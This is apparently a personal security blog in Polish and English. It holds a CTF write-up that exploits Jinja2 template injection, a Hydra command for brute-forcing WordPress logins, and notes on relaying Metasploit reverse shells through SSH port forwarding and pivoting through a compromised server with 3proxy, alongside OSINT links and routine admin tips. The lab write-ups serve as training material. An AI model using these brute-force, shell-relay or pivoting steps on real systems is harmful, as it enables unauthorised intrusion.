poniedziałek, 25 listopada 2019

XSS w praktyce - deanomizacja

Natrafiłem na ciekawy artykuł pokazujący w praktyce jak przebiega skuteczny atak XSS.  Artykuł pozakazuje kilka ciekawych technik (jak np wykradanie danych z auto uzupełnionych formularzy). Całość pokazuje w jaki sposób zwykły XSS zdeanonimizował administratora pewnej strony internetowej.

LINK: https://m417z.com/The-De-anonymization-of-the-Technion-Confessions-Admin/

niedziela, 27 października 2019

How to upgrade LND - Lighnting Network [Linux]

Recently I asked how to update LND to the latest version. He gave me the answer. And I made a small blog post for others. This post is for people who build their LND from sources.

0. upgrade GO

$ sudo rm -rf /usr/local/go
$ sudo tar -C /usr/local -xzf /home/nikhita/Downloads/go1.8.1.linux-amd64.tar.gz
$ echo $PATH | grep "/usr/local/go/bin"
1.  stop LND from running
$ lncli stop

2.  cd $GOPATH/src/github.com/lightningnetwork/lnd
$ cd $GOPATH/src/github.com/lightningnetwork/lnd
$ git fetch
$ git checkout v0.8.0-beta
$ make && make install

3.  run LND
$ lnd --configfile=/home/w4cky/.lnd/lnd.conf

środa, 16 października 2019

Obtaining an IPv6 address from FTP ipv4 using FXP (rfc2428)


One of the tasks from HackTheBox gave me such a puzzle to solve. It is possible. I
spent some time on this because I didn't issue the LIST command. See how it is done correctly :)


czwartek, 12 września 2019

HackTheBox - Emdee five for life - WriteUp


import requests
import hashlib


s = requests.Session()
r = s.get("http://docker.hackthebox.eu:37358")
print(r.status_code)
print(r.text)
print('eeeeeeeeeeeeeee')


postString0 = r.text.split("\n",5)[5]
postString1 = postString0.split("<h1 align='center'>MD5 encrypt this string</h1><h3 align='center'>",1)[1]
kodzik = postString1.split("</h3>",1)[0]


print("kodzik from website:")
print(kodzik)


kodzikMd5 = hashlib.md5(kodzik.encode('utf-8')).hexdigest()

print("kodzik md5:")
print(kodzikMd5)


#p5={'hash': kodzikMd5}
p5='hash=kodzikMd5'

r5 = s.post("http://docker.hackthebox.eu:37358", p5)
print(r5.text)

czwartek, 5 września 2019

OSINT links

https://github.com/jivoi/awesome-osint
https://start.me/p/rxRbpo/ti
https://www.osintdfir.com
https://www.faxvin.com/license-plate-lookup
https://knowem.com/
https://checkusernames.com/
https://stalkscan.com/
https://tineye.com/
https://www.genymotion.com/
Instagram search tool .. https://web.stagram.com/
http://onstrat.com/osint/
https://code.google.com/archive/p/theharvester/
https://docs.google.com/document/d/1BfLPJpRtyq4RFtHJoNpvWQjmGnyVkfE2HYoICKOGguA/edit#heading=h.kmtmtyoi48ch
https://github.com/Ph055a/awesome_osint
https://osintframework.com/

piątek, 28 czerwca 2019

European Cyber Security Challenge 2019 Safe Ninja - writeup

Co roku pod przewodnictwem Europejskiej Agencji ds. Bezpieczeństwa Sieci i Informacji organizowane są europejskie ćwiczenia bezpieczeństwa IT: European Cyber Security Challenge. W 2019 roku udział wezmą reprezentacje narodowe 19 krajów UE oraz EFTA. Finały odbędą się w Bukareszcie, a za przeprowadzenie krajowych kwalifikacji odpowiada CERT Polska, część Naukowej i Akademickiej Sieci Komputerowej.

Poniżej prezentuje jak rozwiązać jedno z zadań -  Safe Ninja


W tym zadaniu występuje klasyczna podatność SSTI. Możemy ją dość szybko wskazać przez np. przesłanie zmiennej {{1+334}} która zwróci nam wynik 335.  Później należy sprawdzić, który z systemu szablonów jest używany. Akurat pracowałem w tym czasie nad inną podatnością SSTI dlatego od razu sprawdziłem {{config}} który wskazał mi system szablonów Jinja2. 

Później już z górki i wyniki prezentuje poniżej. Co prawda dość długo zeszło mi na znalezieniu flagi. Na początku nie zauważyłem kolejnego z adresów url_map i próbowałem innych sztuczek z SSTI jak np. czytanie plików czy połączenie z powłoką ale nie tedy droga. Sama flaga została ukryta w cookies.



POST / HTTP/1.1
Host: safeninja.ecsc19.hack.cert.pl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://safeninja.ecsc19.hack.cert.pl/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------31681657624019
Content-Length: 337

-----------------------------31681657624019
Content-Disposition: form-data; name="title"

121
-----------------------------31681657624019
Content-Disposition: form-data; name="content"; filename="systemy.html"
Content-Type: text/plain

{{url_for.__globals__.current_app.__dict__}}
-----------------------------31681657624019--



HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Jun 2019 06:58:39 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 1017

<html>
<head>
<link crossorigin="anonymous" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" rel="stylesheet"></link>
<title>Create new web page</title>
</head>
<body>
<div class="container">
<h1>
Create new web page</h1>

<div>
<a href="https://www.blogger.com/page/feac7744bd048510f979b1475c53c079661ef0153f7c91b80a43a8f66d63e9e8">/page/feac7744bd048510f979b1475c53c079661ef0153f7c91b80a43a8f66d63e9e8</a>
</div>

<form enctype="multipart/form-data" method="POST">
    <div class="form-group">
    <label for="title">Title</label>
<input class="form-control" id="title" name="title" placeholder="Title" type="text" />
</div>
<div class="form-group">
    <label for="content">Content (only valid HTML files, no malware allowed)</label>
<input class="form-control-file" id="content" name="content" type="file" />
</div>
<button class="btn btn-primary" type="submit">Submit</button>
</form>
</div>
</body>
</html>





ECSC 2019 SAFE NINJA


root@kali:~# curl https://safeninja.ecsc19.hack.cert.pl/giiXXXXXXXXXXXXXXXX -I
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 25 Jun 2019 07:10:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Set-Cookie: flag="ecsc19{it's_not_safeXXXXXXXXXXXXXXXX}"; Path=/

czwartek, 28 lutego 2019

Merge DLL files into EXE

https://www.youtube.com/watch?v=a_r3tQ06xpE

C:\Program Files (x86)\Microsoft\ILMerge>ILMerge.exe C:\Users\w4cky\source\repos\SSHapp\SSHapp\bin\Debug\SSHapp.exe C:\Users\w4cky\source\repos\SSHapp\SSHapp\bin\Debug\Renci.SshNet.dll /out:C:\Users\w4cky\source\repos\SSHapp\SSHapp\bin\Debug\zobaczSam.exe /target:exe /targetplatform:"v4,C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0"

Download ILMerge: https://www.microsoft.com/en-us/download/confirmation.aspx?id=17630

OR (simply)

Install package from Microsoft Visual Studio

Tools->NuGet Package Manager -> Package manager Console

Install-Package Costura.Fody


środa, 30 stycznia 2019

Problem with Metasploit using an SSL Certificate (HandlerSSLCert)

If you want to use your own certificate for metasploit, for example in case windows/meterpreter/reverse_https we should use auxiliary/gather/impersonate_sslbut but earlier change setting openssl in your OS.

in /etc/ssl/openssl.cnf

from

CipherString=DEFAULT@SECLEVEL=2
to 
CipherString=DEFAULT 


wtorek, 29 stycznia 2019

Przekazywanie portu w Linux np. dla Metasploit

Podczas atakowania zewnętrznego celu często można spotkać następującą infrastrukturę:
- Komputer A - ofiara
- Komputer B - serwer pośredniczący
- Komputer C - atakujący

W celu przekazania połączenia z A do C należy zastosować przekierowanie portów za pomocą SSH

W tym celu na komputerze B dodać:

do /etc/ssh/sshd_config dodać GatewayPorts yes
i restart sshd

Na komputerze A wykonać polecenie:

ssh -R 8888:localhost:4444 michal@komputer_b -p port_ssh_komputera_b

Na komputerze C uruchomić np multi/handler z
LHOST -> ip_komputera_C
LHOST -> port 4444


Na komputerze B uruchomic ladunek z opcjami:
LHOST -> ip_komputera_B
LHOST -> port 8888

środa, 23 stycznia 2019

Pivoting


Jeśli potrzebujesz z serwera, na którym zdobyłeś powłokę dostać się do zasobów sieci lokalne to użyj 3proxy

Serwer na którym zdobyłeś powłokę:

wget https://github.com/z3APA3A/3proxy/archive/0.8.12.tar.gz
tar zxvf 0.8.12.tar.gz
cd 3proxy
make -f Makefile.Linux
cp src/3proxy . 
printf "auth none\nsocks -p31337\n" > 3conf
./3proxy 3conf & 



Teraz masz socks proxy nasłuchujące na porcie 31337 i możesz użyć np proxychains


BONUS:
https://github.com/klsecservices/rpivot  <- reverse proxy

czwartek, 10 stycznia 2019

Hydra cheat sheet

Wordpress:

hydra -f -l LOGIN -P /usr/share/wordlists/rockyou.txt www.website.com -S -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&redirect_to=https%3A%2F%2Fwww.website.com%2Fwp-admin%2F&wp-submit=Log In&testcookie=1:S=Location'